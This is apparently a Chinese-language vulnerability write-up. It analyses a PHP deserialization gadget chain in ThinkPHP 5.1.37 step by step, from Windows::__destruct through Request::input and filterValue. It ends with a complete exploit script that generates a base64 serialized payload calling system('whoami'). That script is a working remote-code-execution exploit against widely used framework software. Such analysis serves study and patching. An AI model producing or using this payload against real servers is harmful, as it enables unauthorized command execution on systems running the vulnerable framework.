环境部署
composer 换源
composer config -g secure-http false
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer config -g -l
composer 安装php
composer create-project topthink/think:5.1.37 tp5
漏洞分析
起点还是 __destruct()
开始
从\thinkphp\library\think\process\pipes\Windows.php
入手,其他的走几步就断了,其中调用了removeFiles
,
removeFiles
中存在 file_exists($filename)
,而$this->files
可控,因此调用任意类 __toString
方法
然后再去找能够被魔术方法调用的利用点,然后再选定__toString
,观察发现
thinkphp\library\think\Request.php::__call
可控点相对多一点,
$this->hook
可控消除了method
不可控的影响,arg
需要可控
因此需要一个$可控->xxx(可控)
,才能触发。
再去看__toString
, 其中thinkphp\library\think\model\concern\Conversion.php
中
toArray
中调用了getAttr
,因为Conversion
是一个复用结构,
当方法或者成员不在当前结构中,会从其他中调用
最终在thinkphp\library\think\model\concern\Attribute.php
找到getAttr
getAttr
又调用了getDATA
,name
在一开始就可控, $this->data
同时可控
因此导致toArray
中$relation
可控,最终找到$可控->xxx(可控)
结构 及 $relation->visible($name);
综上所述 需要让$relation=Request类
, 因此Conversion::append["key"]=["***"]
, Attribute::data["key"]=new \think\Request()
,
这里需要值得注意Conversion
与 Attribute
是 trait
因此不能实例化, 需要找一个调用的地方
举个小例子,class C
use 了trait A
,修改C::a
就会导致A::a
改变
<?php
trait A {
public $a = 123;
public function getvalue(){
echo($this->a);
}
}
trait B {
public $b;
}
class C {
use A;
use B;
}
$c = new C();
$c->a = 456;
$c->getvalue();
?>
因此找到Model
类,修改Model
对应值即可, 但是Model
类又为抽象类,也不能实例化,
再看例子,通过修改继承Model
类的值,可以影响抽象类的值
<?php
abstract class Model{
public $a = 123;
public function get_a(){
echo($this->a);
}
}
class test extends Model{
}
$a = new test();
$a->a = 456;
$a->get_a();
?>
tp 中找到thinkphp\library\think\model\Pivot.php
继承了Model
类,因此可以从Model
入手 去修改对应的值
对应构造如下,data
与append
键要相等,综上构造如下
一开始忽视了array_unshift($args, $this);
导致$args[0]=$this
, 最终表达式成为 call_user_func_array("system",[$this,"whoami"])
再然后就参考的他人的文章,根据php手册 call_user_func_array
存在如下用法 可以调用任意类的任意方法
因此寻找一个方法 与传入的参数无关,然后再利用,这里的call_user_func_array
,就相当于跳板了。
参考payload,利用的Request::input
,在tp漏洞中是相对比好的利用链。
在Request::input
中 $filter
可控
这里的array_walk_recursive($data, [$this, 'filterValue'], $filter)
会调用$this->filterValue
示例
跟进$this->filterValue
因此只要再让$data
可控即可,及找到一个调用Request::input()
且参数可控点点即可完成
过程不在多说,找到this->param()
,但不能直接用call_user_func_array
调用,因为参数不统一 会报错,找一个参数的函数,再找调用this->param()
发现$this->isAjax()
参数为一,且调用了param 切第一个参数可控
调用input($data = [], $name = '', $default = null, $filter = '')
时 name 需要为’’, 否则data 会发生变化
漏洞复现
编写exp
<?php
namespace think\process\pipes{
class Windows{
private $files = [];
public function __construct(){
$this->files["aaa"] = new \think\model\Pivot();
}
}
}
namespace think{
abstract class Model{
protected $append = [];
private $data = [];
public function __construct(){
$this->data["key"] = new \think\Request();
$this->append["key"] = ["xxx"];
}
}
class Request{
protected $hook = [];
protected $config = [];
protected $param = [];
protected $filter;
public function __construct(){
$this->hook["visible"] = [$this,"isAjax"];
$this->config["var_ajax"] = "";
$this->param = ["whoami"];
$this->filter = "system";
}
}
}
namespace think\model{
class Pivot extends \think\Model{
}
}
namespace{
echo base64_encode(serialize(new \think\process\pipes\Windows()));
}
?>